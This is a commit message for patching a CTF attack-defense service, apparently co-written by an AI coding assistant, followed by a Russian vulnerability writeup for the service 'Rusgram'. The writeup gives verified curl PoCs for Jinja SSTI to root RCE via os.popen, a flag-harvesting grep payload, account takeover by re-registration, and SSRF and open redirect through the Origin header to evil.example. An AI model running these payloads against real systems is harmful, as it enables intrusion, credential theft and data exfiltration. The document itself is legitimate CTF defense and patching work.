Разбор сервиса и все PoC — в services/rusgram/WRITEUP.md и VULNS.md. Каждая находка воспроизведена на живом стенде до патча и перепроверена после. content.py — V1 (RCE, крит) и V5: template_folder='files' совпадает с каталогом БД, поэтому render_template(path) с путём из URL рендерил файл пользователя как исходник Jinja-шаблона. Имя юзера выбирает атакующий: регистрируем `pwn.html`, кладём payload себе в first_name, дёргаем /db/users/pwn.html через публичный :38000 — RCE от root в контейнере, где смонтирован весь website/. Теперь рендерим только 4 реальные страницы. logic.py — V2 (захват аккаунта) и V3/V6 (SSRF/открытый редирект): register не проверял существование юзера, а database делал read-modify-write, так что повторная регистрация ПЕРЕЗАПИСЫВАЛА пароль, сохраняя msg и профиль: чужой аккаунт вместе с флагом и сломанный логин у чекера. Теперь 409. Location строился из заголовка Origin, а proxy ходил по нему серверсайд — чтение внутренней сети. Редирект стал фиксированным /login.html. database.py — снижает ущерб от V4: валидация имени юзера как имени файла, белый список полей, пароль можно только создать, но не перезаписать (смены пароля в сервисе нет), 400/404 вместо 500. proxy.py — defense in depth к V3: allow_redirects=False на ветке api/. V8: единая безопасная проверка сессии вместо 4 копий — кривая кука, отсутствие куки, несуществующий юзер и нечисловой img больше не роняют воркер в 500. Формат куки login||password и плейнтекстовые пароли осознанно НЕ трогали: чекер почти наверняка на них завязан. Тесты: services/rusgram/test_rusgram.py — SLA 16/16, SEC 21/21 на патче; на services_vulnerable та же секция SEC падает 12 раз. Сплойт собирает 0 флагов. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01NN8sHQuGbTBLGGkJyfxzXr
16 KiB
Rusgram — отчёт по уязвимостям
Все PoC ниже отработаны на живом стенде (docker compose up из этой папки),
флаги реально извлечены. Формат флага: [A-Z0-9]{31}=.
Стенд для проверки: жертва victim_krmltc, флаги в msg и first_name.
| # | Уязвимость | Класс | Порт | Крит |
|---|---|---|---|---|
| V1 | SSTI → RCE от root через имя пользователя *.html |
CWE-1336 | 38000 | 🔴 CRITICAL |
| V2 | Перерегистрация чужого аккаунта = ATO без аутентификации | CWE-284 | 38000 | 🔴 CRITICAL |
| V3 | SSRF: proxy серверсайд идёт по редиректу из заголовка Origin |
CWE-918 | 38000 | 🔴 HIGH |
| V4 | database без аутентификации опубликован наружу |
CWE-306 | 38002 | 🔴 HIGH |
| V5 | content наружу: чтение файла любого юзера без .html |
CWE-306 | 38004 | 🟠 HIGH |
| V6 | Открытый редирект через Origin |
CWE-601 | 38000 | 🟡 MEDIUM |
| V7 | Пароли в плейнтексте + неподписанная кука-сессия | CWE-256/565 | — | 🟡 MEDIUM |
| V8 | Необработанные исключения → 500 (`split(" | "), images/`) |
CWE-248 |
Отрицательные проверки (протестированы, не воспроизводятся) — в конце.
V1 — SSTI → RCE от root через имя пользователя, оканчивающееся на .html 🔴
Где: content/content.py:45 + proxy/proxy.py:19-21
# content.py
app = Flask(__name__, template_folder='files') # 'files' == том ./website
...
else:
return render_template(path) # path из URL
Суть
template_folder узла content — это files, то есть тот же самый том
./website, внутри которого лежит db/users/<username>. Файл пользователя —
это данные, полностью подконтрольные атакующему, но render_template()
скармливает его Jinja как исходник шаблона.
Ключ к тому, чтобы дотянуться до этого через публичный порт 38000: proxy
пропускает в content только пути с расширением .html…
ext = path.split('.')[-1]
if ext == "html":
resp = r.get(f"http://{content_node}/{path}?...")
…но имя пользователя выбирает атакующий. Регистрируем юзера с логином
pwn.html → его файл ложится в files/db/users/pwn.html → запрос
GET /db/users/pwn.html проходит фильтр расширения, попадает в else-ветку
content.py и рендерится как шаблон. Содержимое шаблона мы заранее записали
сами через /api/update_personal.
Autoescape тут не спасает: он экранирует результат выражения, но не мешает Jinja это выражение выполнить.
PoC (проверен)
BASE=http://TARGET:38000
# 1. регистрируем юзера, чьё имя оканчивается на .html
curl -s -X POST $BASE/api/register -H 'Content-Type: application/json' \
-d '{"login":"pwn.html","password":"p"}'
# 2. кладём Jinja-payload в своё же поле first_name
curl -s -X POST $BASE/api/update_personal -H 'Content-Type: application/json' \
-H 'Cookie: session=pwn.html||p' \
-d '{"first_name":"{{ lipsum.__globals__.os.popen('"'"'id'"'"').read() }}","second_name":"x","email":"x"}'
# 3. заставляем content отрендерить наш файл как шаблон — через ПУБЛИЧНЫЙ порт
curl -s $BASE/db/users/pwn.html
Реальный вывод со стенда:
{"password": "p", "first_name": "uid=0(root) gid=0(root) groups=0(root),...
---
pwn.html
victim_krmltc
", "second_name": "x", "email": "x"}
RCE от root в контейнере content, где смонтирован весь website/ —
то есть вся база всех пользователей.
Сбор всех флагов одним запросом
payload = "{{ lipsum.__globals__.os.popen('grep -rhoE \"[A-Z0-9]{31}=\" /app/files/db/').read() }}"
Со стенда вернулось: ['2F2HOFY5DQEEL1VQML2BX7ZY4I9NW24=', 'QZHZAGZTFOSPU6D6KD9R98GF7FQATQV=']
— оба посаженных флага, за один HTTP-запрос, без знания имён жертв
(grep -r сам обходит каталог).
⚠️ Важный нюанс эксплуатации: кэш Jinja
Flask вне debug-режима не перечитывает шаблоны (auto_reload выключен).
Как только db/users/pwn.html отрендерился первый раз, скомпилированная версия
кэшируется, и правки файла больше не подхватываются.
Практический вывод для сплойта: на каждый раунд — свежее случайное имя юзера,
и payload обязательно кладётся до первого запроса на рендер. В sploit_rusgram.py
это учтено.
V2 — Перерегистрация чужого аккаунта: ATO без аутентификации 🔴
Где: logic/logic.py:23-33 + database/database.py:22-33
# logic.register — никакой проверки существования
resp = r.post(f"http://{database_node}/users/{username}/password", json={"value": password})
# database.users POST — тоже никакой
if not os.path.exists(path):
Path(path).touch()
...
data[field] = request.json["value"] # read-modify-write
Суть
register для существующего юзера — это не ошибка, а перезапись пароля.
Причём read-modify-write сохраняет все остальные поля: msg, first_name и
прочее остаются на месте. Атакующий получает 200 и валидную куку на чужой
аккаунт со всем его содержимым.
Это одновременно кража флагов и саботаж: у чекера ломается логин в собственный аккаунт.
PoC (проверен)
BASE=http://TARGET:38000
VICTIM=victim_krmltc
curl -s -i -X POST $BASE/api/register -H 'Content-Type: application/json' \
-d "{\"login\":\"$VICTIM\",\"password\":\"hacked123\"}"
# → HTTP/1.1 200 OK
# → Set-Cookie: session=victim_krmltc||hacked123; Path=/
curl -s $BASE/ -H "Cookie: session=$VICTIM||hacked123" | grep -oE '[A-Z0-9]{31}='
Реальный вывод со стенда:
2F2HOFY5DQEEL1VQML2BX7ZY4I9NW24=
QZHZAGZTFOSPU6D6KD9R98GF7FQATQV=
Оба флага, ноль исходных кредов. Нужно только знать имя жертвы — оно берётся из
комментариев (V4) или из ls через V1.
V3 — SSRF: proxy серверсайд ходит по редиректу из Origin 🔴
Где: logic/logic.py:41,55,65 + proxy/proxy.py:28
# logic: Location строится из заголовка, который контролирует атакующий
return redirect(request.headers.get("Origin", "") + "/login.html", code=302)
# proxy: requests по умолчанию allow_redirects=True — и ИДЁТ по этому Location
resp = passcall(f"http://{logic_node}/{path[4:]}", json=request.get_json(), headers=request.headers)
return resp.content, resp.status_code, resp.headers.items()
Суть
Когда проверка пароля не проходит, logic отдаёт 302 на Origin + "/login.html".
Proxy получает этот 302 и, поскольку requests по умолчанию следует редиректам,
сам делает запрос на указанный URL из своего контейнера — и возвращает тело
атакующему.
Хвост /login.html обрезается тривиально: заканчиваем Origin на ?x=, и он
уезжает в query string.
Это самая неприятная из находок для защиты, потому что работает даже если закрыть порты 38001–38004: proxy ходит во внутреннюю сеть за нас.
PoC (проверен)
BASE=http://TARGET:38000
VICTIM=victim_krmltc
curl -s -X POST $BASE/api/send_msg -H 'Content-Type: application/json' \
-H "Cookie: session=$VICTIM||WRONGPASS" \
-H "Origin: http://database:5002/users/$VICTIM/msg?x=" \
-d '{"msg":"x"}'
Реальный вывод со стенда:
{"data":"2F2HOFY5DQEEL1VQML2BX7ZY4I9NW24=","status":"ok"}
Флаг из внутреннего database-узла — через один только публичный порт 38000.
Подтверждение самого 302 (напрямую в logic):
POST /send_msg Origin: https://evil.example
→ 302, Location: https://evil.example/login.html
Запрос на внешний хост со стенда вернул 500 (в тестовой docker-сети нет egress) — на боевом vulnbox, если egress есть, это ещё и канал эксфильтрации.
V4 — database без аутентификации опубликован наружу 🔴
Где: docker-compose.yml (38002:5002) + весь database/database.py
Узел database не имеет ни одной проверки доступа. Он опубликован на хосте.
PoC (проверен)
D=http://TARGET:38002
curl -s $D/users/victim_krmltc/password # {"data":"hacked123","status":"ok"}
curl -s $D/users/victim_krmltc/msg # {"data":"2F2HOFY5DQ...","status":"ok"} ← ФЛАГ
curl -s $D/users/victim_krmltc/first_name # {"data":"QZHZAGZTFO...","status":"ok"} ← ФЛАГ
Запись работает так же — можно перезаписать пароль/поля любому юзеру (саботаж):
curl -s -X POST $D/users/victim_krmltc/password \
-H 'Content-Type: application/json' -d '{"value":"OWNED"}' # → 200
Энумерация имён (без RCE): авторы комментариев отдаются в открытую.
for i in $(seq 1 16); do curl -s $D/images/$i; done # comments: [["username","text"],...]
V5 — content наружу: чтение файла любого юзера 🟠
Где: docker-compose.yml (38004:5004) + content/content.py:45
Напрямую в content ограничение на .html (которое накладывает proxy) отсутствует —
render_template(path) вызывается для любого пути.
PoC (проверен)
curl -s http://TARGET:38004/db/users/victim_krmltc
Реальный вывод со стенда:
{"password": "hacked123", "msg": "2F2HOFY5DQEEL1VQML2BX7ZY4I9NW24=",
"first_name": "QZHZAGZTFOSPU6D6KD9R98GF7FQATQV=", "second_name": "Ivanov", ...}
Здесь же работает и V1 (SSTI) — но уже без требования, чтобы имя оканчивалось на .html.
V6 — Открытый редирект через Origin 🟡
Тот же код, что и в V3. Если смотреть на logic напрямую (38003) — классический open redirect на произвольный домен:
POST /send_msg, Cookie: session=<существующий_юзер>||неверный_пароль,
Origin: https://evil.example
→ 302 Location: https://evil.example/login.html
Через proxy наружу это превращается в SSRF (V3), поэтому чинится одним патчем.
V7 — Плейнтекстовые пароли и неподписанная сессия 🟡
website/db/users/*хранит"password"как есть — любое чтение файла (V1/V4/V5) сразу даёт креды.- Кука
session=<login>||<password>не подписана, безHttpOnly/Secure/срока жизни, и гоняет пароль в открытом виде в каждом запросе.
В условиях A/D полностью переделывать схему рискованно (чекер завязан на формат
куки), поэтому в патче это осознанно не менялось — см. PATCH.md.
V8 — Необработанные исключения → 500 🟢
Проверено на стенде:
GET /с кукойsession=a||b||c→ 500 (ValueError: too many values to unpackвsplit("||")). Аналогично во всех четырёх ручках logic.GET /images/0,/images/-1,/images/99,/images/abc→ 500 (FileNotFoundError, файла нет).POST /api/*без кукиsession→ 500 (KeyError).- Запрос к несуществующему юзеру:
.json()["data"]по 404-ответу → 500 (KeyError).
Флагов не даёт, но шумит в логах и может ронять SLA, если чекер ходит кривыми запросами. Плюс скрывает настоящие атаки в шуме.
Отрицательные результаты (проверено — НЕ работает)
Чтобы команда не тратила время:
| Гипотеза | Результат |
|---|---|
Path traversal в static (/css/..%2f..%2fetc%2fpasswd.css) |
404. Конвертер <name> в Werkzeug не матчит слэши |
Инъекция пути через img_id в post_comment (../users/<victim>) |
404 на database. Роут <string:id> не матчит многосегментные пути |
Traversal через username в database (.., %2f) |
Не матчится роутом / упирается в каталог |
Traversal через render_template (../../etc/passwd) |
Jinja split_template_path режет .. |
| SSRF (V3) на внешний хост | 500 на стенде — в тестовой docker-сети нет egress. На vulnbox проверить отдельно |
Приоритет патчей
- V1 — RCE, публичный порт. Чинить первым.
- V2 — ATO + саботаж чекера, публичный порт.
- V3 — SSRF, обходит закрытие портов.
- V4/V5 — закрыть публикацию внутренних портов (осторожно, см.
PATCH.md). - V8 — устойчивость, чтобы не терять SLA.